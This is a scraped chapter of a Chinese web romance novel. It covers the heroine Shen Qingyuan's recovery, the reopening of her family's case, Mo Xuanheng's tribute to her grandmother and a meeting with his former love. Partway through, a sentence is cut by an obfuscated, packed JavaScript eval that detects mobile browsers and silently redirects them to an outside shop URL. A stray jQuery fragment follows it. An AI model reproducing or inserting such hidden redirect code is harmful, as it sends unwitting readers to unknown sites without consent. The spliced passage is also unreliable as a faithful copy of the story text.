文趣网 > 其他小说 > 雨花台 > 28. 求取真心
    温暖的阳光穿过窗柩,照在沈青沅的身上,驱散了她身体的寒冷。

    不知过了多久,沈青沅睫毛微微颤动,缓缓地睁开了双眼,她的脑子昏昏沉沉。

    “这是哪儿?”

    干涩的嘴唇张开,声音沙哑又绵软。响起自己身中蛇毒,只当是自己来到了阴曹地府,眼眶瞬间流出热泪。

    “爹,娘,不孝女儿来找你们了,原来这阴间地府也不是如此可怕。”

    沈青沅强撑着身子坐了起来,头疼欲裂。她捂着头,耳边却响起一阵尖叫声。

    “沈姑娘醒了,沈姑娘醒了!”刚进门的丫鬟看见沈青沅坐在床上,立马尖声叫道。

    不过片刻,房间内涌入一群丫鬟围着沈青沅。或是捧着汤药,或是端着水盆,嘘寒问暖。

    沈青沅被这一阵仗弄得发懵,直到一双手握住沈青沅,她转过头,才看见春蝉红着眼眶,哽咽地比划着:“小姐,你受苦了。”

    沈青沅这才彻底回过神,她睁大眼睛,望向四周。雕花的窗户,熟悉的纱帐……这哪里是什么阴曹地府,这分明就是她在京城,昔日居住在墨玄珩府中的房间!

    沈青沅“扑通”一声,沉重的身子向后躺了下去,周围的丫鬟还以为沈青沅突发疾病,被吓死了,纷纷凑上前,嘘寒问暖。七嘴八舌,围得叫一个密不透风,可她却毫不在意。

    她还活着!她还活着!她回到京城了!

    沈青沅兴奋过后,被春蝉拉着起身。她一路睡至京城,许久未进食,食欲突涨。她看着满桌子的美食,鱼、肉、虾,立马抓起筷子吃了起来。

    “慢点吃,小姐。”春蝉比着手势,又拍了拍沈青沅的后背。

    沈青沅吃饱喝足之后,才询问起春蝉发生的事。

    尽管春蝉不能言语,但通过一些手势和咿呀的发音,沈青沅也能猜得七七八八。

    原来,自从墨风发现她和墨玄珩之后,连着几名墨家军秘密将两人送了回来。生怕中间再出差错,片刻未曾歇息,一天一夜的路程,就回到了京城。

    “那墨玄珩呢?”沈青沅询问道,她没忘记墨玄珩身上还有伤口。

    “墨小侯爷倒是比姑娘醒得早,一回到府中,经过御医的医治,现在已经去上早朝了。”春蝉比划说道。

    突然,外面传来墨风的声音。

    “春蝉,告诉你家姑娘一个好消息。”墨风的声音传来,未见其人,先闻其声,“你们沈家要翻案了,圣上要重新彻查沈家的案子了。”

    沈青沅和春蝉听后皆是一震,双眼睁得大大的看向对方,随即是难以置信的微笑。

    沈青沅起身,提起裙摆,朝着门口跑去,她要亲自去问问墨风,一切都是真的。

    她刚一出门,便看见从对面而来,沐浴着阳光,一身金色的朝服还未褪下的墨玄珩。清隽出尘的眉眼,带着与生俱来的矜贵,就这样走进了沈青沅的视线。

    沈青沅脚下却像灌了铅,怎么也走不动路了。

    墨玄珩朝着她走了过来。

    明明才几日未见,却像是隔了数年,这一小段路倒显得格外漫长。

    墨玄珩的眼光直接、裸露、丝毫不隐藏。

    沈青沅莫名的感到慌乱,眼神躲闪,不再和墨玄珩的目光相聚。可墨玄珩注视着沈青沅,视线如同脚下的步伐,步步紧逼。

    沈青沅攥紧手,手里直冒汗,退无可退,躲无可躲,那逃总行了吧!沈青沅一想到,便转身逃回房间。

    墨风一脸疑惑:“小侯爷,沈姑娘这是不欢迎我们?”

    墨风以为沈青沅当应该是兴高采烈地跑着出来的。沈家有翻案的机会,自家侯爷和她一路苦找证据,还在朝廷上说好话,可谓是有辛劳又有苦劳。如今曙光即将来临,她难道不应该出来迎接?

    墨风原以为墨玄珩会生气,自家小侯爷何时受过如此待遇,没想到墨玄珩脸上却是一脸笑容。

    “这是一种别样的欢迎。”

    墨玄珩加大了步伐,脚下生风。

    “这……这小侯爷怎么还一脸荡漾……”墨风站在原地,看着墨玄珩明显一脸受虐还兴致勃勃的模样,惊讶地说不出话来。

    “变了,变了,小侯爷的春天要来了。”墨风拍腿一笑。

    沈青沅正要关上门,一双手出现在两扇门中间。

    “哎……疼。”墨玄珩叫道。

    沈青沅抬眼一看,果然瞧见墨玄珩假模假样的脸。关也不是,不关也不是,两人就这样愣愣地看着对方。

    “你不让我进去?”墨玄珩说道。

    “这是我的房间,当然是我说了算。”沈青沅立即反驳。

    “这墨府都是我的,我想去哪儿就去哪儿。”墨玄珩的话音提高一倍,沈青沅手一松,趁机让他溜了进来。

    “你躲着我?”墨玄珩一进来便毫不客气地躺在沈青沅的软榻上,上面还有沈青沅的白裘狐毯,上面还残留着沈青沅的体香。墨玄珩的手无意识地抚摸柔软的狐毯,一股清香扑鼻。

    “阳光刺眼,我回屋里避着。”沈青沅转过身,坐在离墨玄珩较远处的凳子上。两个人就这么无言的看着对方。

    春蝉察觉气氛不对,寻了个由头便出了房间。

    墨玄珩无聊地甩了甩手中怀中的玉佩。

    “你可知你父亲的案情有疑,刑部得圣上下旨,要重新审查此案。”墨玄珩观察着沈青沅的一举一动,见沈青沅始终强装镇定,心里忍不住打趣:还在这里给我死装。

    “你不开心?我可出了大功劳”墨玄珩忍不住在沈青沅面前邀功。要知道,今天早上在朝堂,他可废了一番功夫,单单是说明关中的利害之处,耗时许久,当然也为自己招揽许多朝堂政敌。

    “我现在高兴也未免太早了些。刑部查案,需要时间流程,等沈家彻底洗清冤屈,我再答谢小侯爷不迟。”沈青沅不卑不亢道。

    见她不肯上钩,墨玄珩继续追问:“那你可想好如何答谢我?”

    墨玄珩等着沈青沅开口,哪怕是她画大饼也是要听一听的。

    沈青沅垂下了头,她可没有忘记当初的交易,却也不能忽视在草原上墨玄珩的的过界的行为,她更不能忽视自己的内心。于是,她又将这个皮球扔了回去。

    “小侯爷想要我如何答谢?”沈青沅反问道。

    “当然是……”墨玄珩看着沈青沅的面庞,若有所思,停了下来,走在沈青沅的面前。

    墨玄珩脱口而出的话终于咽了下去,甚至是他自己也不明白他到底想要沈青沅的什么答案:是要她的感激涕零,自愿以后为自己俯首称臣,当牛做马。还是那一句喜欢,甚至是献身。

    墨玄珩呼吸一震,他惊讶于发现自己竟然会有如此念头。

    他们都意识到,彼此之间的感觉不太对,却都想让对方开口,打破这边界。两个都是高傲之人,谁都不想第一个开口,害怕吃闭门羹。总之,被动的接受好过于主动的碰壁。

    “我带你去个地方。”墨玄珩缓了许久,才开口。

    他想,他才是战场上的猎人,他要让沈青

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17616929|206100||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    沅开口,让她自愿开口。

    “你要带我去哪儿?”沈青沅不解,但还是跟着墨玄珩的脚步行走。

    “去了你就知道了。”

    墨玄珩是拉着沈青沅出了侯府,一同骑在一匹马上。

    墨玄珩带着沈青沅来到了长安城最大的祈福寺,来这里祭拜的都是非富即贵之人。

    墨玄珩带着沈青沅直奔寺庙供奉处。

    “你且瞧瞧,可有什么发现?”墨玄珩朝着供奉的匾位指了指。

    沈青沅顺着他指的右侧处供奉台,在第一排最角落处位置,她瞧见黑漆描金的排位上,沈老太太的名讳赫然在目。而供奉人,正是沈青沅的名字。

    “你……”沈青沅猛地抬眼看向墨玄珩,眼里含着震惊与不解,“这……这是怎么回事儿?”

    墨玄珩垂眸看着沈青沅,低声像是在哄着孩子的口吻说道:“我在焚尸场找到你祖母的骨灰,派人供奉在此处,用你的名义。”

    沈青沅泛红了眼眶,说不感动是假的。“墨玄珩,我……”

    “这对我来说,都是小事。沈青沅,是我心甘情愿。等你父亲平冤后,将牌位贡献在此,也算是尽了孝道。”墨玄珩打算第一步,先做有心之事,让沈青沅明白他的真心。

    他一片赤诚,只求她回一丝真心。

    可没想到,便遇到了拦路虎,一声清脆女音的呼唤声打断。

    “墨玄珩!是你?”

    一位身着鹅黄,面如满月,端庄大气的女子轻快地走了过来。

    “是你,真的是你?”曹嫣然惊讶道。脸上尽是欣喜之色,“爹爹说你抱病在家多日,你最近可还好?是来此地祈福?”

    曹嫣然上前握住墨玄珩的手,却被墨玄珩不着痕迹地躲开。这动作却没有逃脱沈青沅的眼睛,这让沈青沅敏锐察觉两个人的关系绝非简单二字。

    “劳谢曹小姐的挂念,我无恙。倒是该祝贺曹小姐新婚之喜,怎未曾见到你的夫婿陆大人?”

    那曹嫣然脸色微变,她当然听出了墨玄珩一副拒人于千里之外口气,故作镇定地说道:“他……他今日陪我来此地上香,在外等着我呢。”

    曹嫣然知晓自己已经嫁作他人妇,断不能再将心寄于到其他男人身上。可是,见到墨玄珩,她却控制不住自己的内心。

    “我们多年未见,你就这么不想和我说说话吗?”曹嫣然看着墨玄珩,满心欢喜的脸庞变得一脸愁容。

    “只有我们两个人。”曹嫣然到底不死心。这是四年后,她好不容易才有一次的机会见到他。比起记忆中的他,今日的墨玄珩更硬朗,更高贵,浑身散发着浓烈的男人气息,而这种气息让她深深着迷。绝对不是陆仲琪这种读书人,可以给她的。

    “还望曹小姐自重。”

    墨玄珩却不再想和曹嫣然说上一句,便拉着身旁的沈青沅离开。

    曹嫣然心如刀割,纵使留下眼泪哀求,期盼墨玄珩能够回头看她一眼,也终究是痴心妄想。

    “他在怪我,巧儿,你说,他是不是在怪我……”

    曹嫣然看着墨玄珩拉着一个粉衣女子离去的背影,强撑着的体面也碎得一干二净,大滴大滴的眼泪落下。

    她身边的贴身丫鬟灵巧劝慰道:“小姐,许是小侯爷还在生气中呢。您如今已经嫁为他人妇,小侯爷于情于理都是要和你避嫌的。”

    “我是受爹爹所迫,才嫁给陆仲琪,我一定要找机会告诉他,我始终为了他守身如玉。”曹嫣然看着墨玄珩远去的背影,心碎地说道。